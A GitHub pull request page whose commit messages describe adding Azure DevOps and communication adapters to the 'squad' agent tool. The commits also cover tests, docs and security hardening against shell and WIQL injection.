Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Release notes will be written after merge when version number is assigned.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@bradygaster bradygaster merged commit ea70504 into bradygaster:main Mar 8, 2026
1 check failed
bradygaster added a commit to tamirdresher/squad that referenced this pull request Mar 8, 2026
Resolve conflicts from squash merge of bradygaster#191 into main.
Kept bradygaster#263 communication adapter types (types.ts, index.ts, enterprise-platforms.md).
Took main's bug fixes (init.ts case-insensitive matching, github.ts CLI fixes,
detect.ts WorkItemSource type, ralph-commands.ts query syntax).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
bradygaster added a commit that referenced this pull request Mar 8, 2026
…ion (#263)

* feat: add platform adapter for Azure DevOps support

Introduce a platform abstraction layer so Squad works with Azure DevOps
(Work Items, PRs, Pipelines) in addition to GitHub (Issues, PRs, Actions).

Platform module (packages/squad-sdk/src/platform/):
- types.ts: PlatformType, WorkItem, PullRequest, PlatformAdapter interfaces
- detect.ts: Auto-detect platform from git remote URL (github/ado)
- github.ts: GitHubAdapter wrapping gh CLI
- azure-devops.ts: AzureDevOpsAdapter wrapping az CLI
- ralph-commands.ts: Platform-specific Ralph triage commands
- index.ts: Factory createPlatformAdapter() + barrel exports

Coordinator prompt:
- Add Platform Detection section to squad.agent.md
- ADO command mapping table and prerequisites

Tests (57 passing):
- Platform detection from various remote URLs
- GitHub remote parsing (owner/repo extraction)
- ADO remote parsing (org/project/repo extraction)
- WorkItem/PullRequest type shape validation
- Ralph command generation for both platforms
- Edge cases (case insensitivity, unknown platforms)

Docs:
- docs/features/azure-devops.md: User guide
- docs/specs/platform-adapter-prd.md: Design spec

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* chore: remove .squad runtime files from tracking

Remove .squad/.first-run and .squad/config.json that trigger branch guard.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* feat: add createWorkItem to PlatformAdapter interface

Add createWorkItem method to PlatformAdapter interface and all adapters:
- GitHubAdapter: creates issues via gh issue create
- AzureDevOpsAdapter: creates work items via az boards work-item create
- PlannerAdapter: creates tasks via Graph API POST /planner/tasks
- RalphCommands: add createWorkItem command for all platforms

6 new tests (86 total for platform adapter).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix: make Ralph platform-aware in coordinator prompt + auth docs

- Add platform-aware note to Ralph Step 1 scan commands
- Include ADO WIQL examples alongside GitHub examples
- Add auth section: az login (no PATs), ADO MCP server option
- Ralph now knows to check Platform Detection section for command selection

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix: replace execSync with execFileSync to prevent shell injection

Address critical review findings from PR #191:
- All adapter methods now use execFileSync with argument arrays
- No user input passes through shell interpretation
- Added JSON.parse error handling with raw output in messages
- createBranch uses execFileSync('git', [...]) instead of string concat
- Follows existing codebase patterns (upstream.ts, rc-tunnel.ts, aspire.ts)

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix: escape WIQL values and hide bearer token from process args

- WIQL injection: escape single quotes in state/tags/project values
- Bearer token: pass via curl --config stdin instead of CLI args
- Addresses follow-up review from PR #191

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix: skip GitHub workflows for ADO repos, add platform detection to init

- Bug 1: squad init now detects ADO from git remote and skips .github/workflows/
- Bug 2: config.json includes platform field when ADO detected
- Bug 3: MCP config template uses platform-appropriate example

Reported by ADO integration tester.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* feat: ADO configurable work item type, area/iteration paths, cross-project support

Add AdoWorkItemConfig interface supporting enterprise ADO scenarios:
- defaultWorkItemType: configure Scenario, Bug, etc. (default: User Story)
- areaPath: route work items to specific team backlogs
- iterationPath: place work items in specific sprints
- org/project: support work items in a different ADO project/org than
  the git repo (common in large enterprises)

Config lives in .squad/config.json under the 'ado' key. All fields are
optional — omitted fields use sensible defaults.

Work item operations (create, list, get, tag, comment) now use separate
workItemArgs that resolve org/project from config, while repo operations
(PRs, branches) continue using the git remote's org/project.

- 92 platform adapter tests pass (6 new)
- Updated enterprise-platforms.md with config table
- squad init writes ado section template for ADO repos

Addresses #240

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* docs: add blog post #23 — Squad Goes Enterprise (ADO support)

Covers auto-detection, configurable work item types, area/iteration paths,
cross-project work items, security hardening, and integration test results.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix: Ralph ADO config resolution — read ado section from .squad/config.json

Ralph's coordinator prompt now explicitly instructs the coordinator to:
1. Read .squad/config.json BEFORE running any ADO work item commands
2. Use ado.org/ado.project for work item queries (may differ from repo)
3. Pass --org and --project flags on every az boards command
4. Use ado.defaultWorkItemType when creating work items
5. Never guess the ADO project from the repo name — read the config

This fixes the issue where Ralph on ADO repos would try the repo name
as the ADO project (e.g. 'squad-ado-test') instead of the actual
configured work item project.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix: add ADO platform awareness to governance file (squad.agent.md)

The governance file (.github/agents/squad.agent.md) that controls the
coordinator at runtime had ZERO Azure DevOps awareness. Ralph only knew
GitHub commands (gh issue list, gh pr list). Even with a perfect ADO
adapter, Ralph would still scan GitHub because the governance file
told it to.

Changes to .github/agents/squad.agent.md:
- Add azure-devops-* to MCP tool detection table
- Add Platform Detection section (GitHub vs ADO vs Planner)
- Add ADO config resolution from .squad/config.json ado section
- Make Issue Awareness section platform-aware (GitHub + ADO queries)
- Make Ralph Step 1 platform-aware with both GitHub and ADO command
  blocks, plus critical instruction to read config first
- Update merge PR trigger to include ADO equivalent

Also updated blog post #23 with 'Ralph + ADO: The Governance Fix'
section explaining why this class of bug is invisible in unit tests.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* feat: CommunicationAdapter — platform-agnostic agent-human communication (#261)

Add CommunicationAdapter interface to the platform layer for pluggable
agent-human communication across platforms.

Interface:
- postUpdate(title, body, category, author) → { id, url }
- pollForReplies(threadId, since) → CommunicationReply[]
- getNotificationUrl(threadId) → string | undefined

Adapters:
- FileLogCommunicationAdapter — zero-config fallback, writes to .squad/comms/
- GitHubDiscussionsCommunicationAdapter — uses gh api GraphQL
- ADODiscussionCommunicationAdapter — uses az boards CLI
- (Teams webhook adapter stubbed, falls back to FileLog)

Factory:
- createCommunicationAdapter(repoRoot) — auto-detects platform, reads
  config from .squad/config.json communications section, falls back
  to FileLog if nothing configured

Tests: 15 new tests (interface contracts, FileLog adapter, exports)

Addresses #261

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: bradygaster <bradyg@microsoft.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants